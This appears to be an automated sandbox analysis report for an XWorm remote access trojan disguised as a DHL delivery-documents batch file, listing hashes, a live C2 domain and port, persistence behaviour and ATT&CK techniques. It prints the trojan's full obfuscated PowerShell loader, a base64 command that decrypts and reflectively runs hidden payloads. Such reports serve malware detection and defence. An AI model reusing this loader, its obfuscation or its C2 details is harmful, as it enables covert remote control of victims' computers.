xworm | 03d52942b9129557104e5e3bbbf581e914edc984eca17e28a52bf581846dc176

General

Target

awb_post_dhl_delivery_documents_06_03_2025_00000000000250.bat
Size

64KB
MD5

fef11d117754e450b937fd134f9dba13
SHA1

1024f7c99c81e39f0f53710d24e06ddea52082ad
SHA256

999ec6f3dd5816786295500cd790941727bdaccb9640becf284938bda7cd73a9
SHA512

db20ef27451bb79a9f21b9213e29e9ee40326c8b8dc28ba824a3aad3d901481ab18acd49d77ee0a2d68799853db5ed1ac9e76e8515070ee83632181a141a0bc4
SSDEEP

1536:8nDChFG71EIZWgZkbmEKUgXEXzICKUnFT3mKHWCW7zxk7Qvc5MCzAlZt:DHft3mK2Cuzv/H

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

tripplebanks.duckdns.org:3399

Mutex

bppouzbV7pFA6n72

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/952-20-0x0000017618A10000-0x0000017618A20000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
32	952	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
952	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_76b98701.cmd	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_76b98701.cmd	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
952	powershell.exe
952	powershell.exe
952	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	952	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
952	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1800 wrote to memory of 3008	1800	cmd.exe	89
PID 1800 wrote to memory of 3008	1800	cmd.exe	89
PID 3008 wrote to memory of 952	3008	cmd.exe	91
PID 3008 wrote to memory of 952	3008	cmd.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\awb_post_dhl_delivery_documents_06_03_2025_00000000000250.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\awb_post_dhl_delivery_documents_06_03_2025_00000000000250.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskY3ltZGkgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGN5bWRpKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRjeW1kaSIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRjeW1kaSwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkY3ltZGkiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24genpzdnIoJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ1VSdS9RWlRaODlPQnQ0ZXlmdGVZTFhBb2ozdklKSklhT3R4blY1TVVSMms9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0g4Sk43d05LRmdGekhQZ1BBVkFiL1E9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gZnZnd3MoJHBhcmFtX3Zhcil7CSRua21yZz1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkd2lmd2M9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkdHNjdWE9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkbmttcmcsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJHRzY3VhLkNvcHlUbygkd2lmd2MpOwkkdHNjdWEuRGlzcG9zZSgpOwkkbmttcmcuRGlzcG9zZSgpOwkkd2lmd2MuRGlzcG9zZSgpOwkkd2lmd2MuVG9BcnJheSgpO31mdW5jdGlvbiB3YmVyZygkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHZmZHNzPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJGhnbGtyPSR2ZmRzcy5FbnRyeVBvaW50OwkkaGdsa3IuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGN5bWRpOyRoYWRwaD1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGN5bWRpKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkZmNwIGluICRoYWRwaCkgewlpZiAoJGZjcC5TdGFydHNXaXRoKCc6OiAnKSkJewkJJHRuZ2ZhPSRmY3AuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JGFkdmtrPVtzdHJpbmdbXV0kdG5nZmEuU3BsaXQoJ1wnKTskam5ocnQ9ZnZnd3MgKHp6c3ZyIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGFkdmtrWzBdKSkpOyRmanViaz1mdmd3cyAoenpzdnIgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkYWR2a2tbMV0pKSk7d2JlcmcgJGpuaHJ0ICRudWxsO3diZXJnICRmanViayAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iqhfmt01.j1w.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\dwm.bat

Filesize
64KB

MD5
fef11d117754e450b937fd134f9dba13

SHA1
1024f7c99c81e39f0f53710d24e06ddea52082ad

SHA256
999ec6f3dd5816786295500cd790941727bdaccb9640becf284938bda7cd73a9

SHA512
db20ef27451bb79a9f21b9213e29e9ee40326c8b8dc28ba824a3aad3d901481ab18acd49d77ee0a2d68799853db5ed1ac9e76e8515070ee83632181a141a0bc4

Download Submit
memory/952-2-0x00007FFB62783000-0x00007FFB62785000-memory.dmp

Filesize
8KB

Download
memory/952-3-0x00007FFB62780000-0x00007FFB63241000-memory.dmp

Filesize
10.8MB

Download
memory/952-13-0x0000017632890000-0x00000176328B2000-memory.dmp

Filesize
136KB

Download
memory/952-15-0x00007FFB62780000-0x00007FFB63241000-memory.dmp

Filesize
10.8MB

Download
memory/952-16-0x00007FFB62780000-0x00007FFB63241000-memory.dmp

Filesize
10.8MB

Download
memory/952-17-0x00000176189F0000-0x00000176189F8000-memory.dmp

Filesize
32KB

Download
memory/952-18-0x0000017618A00000-0x0000017618A0E000-memory.dmp

Filesize
56KB

Download
memory/952-20-0x0000017618A10000-0x0000017618A20000-memory.dmp

Filesize
64KB

Download
memory/952-21-0x00007FFB62783000-0x00007FFB62785000-memory.dmp

Filesize
8KB

Download
memory/952-22-0x00007FFB62780000-0x00007FFB63241000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing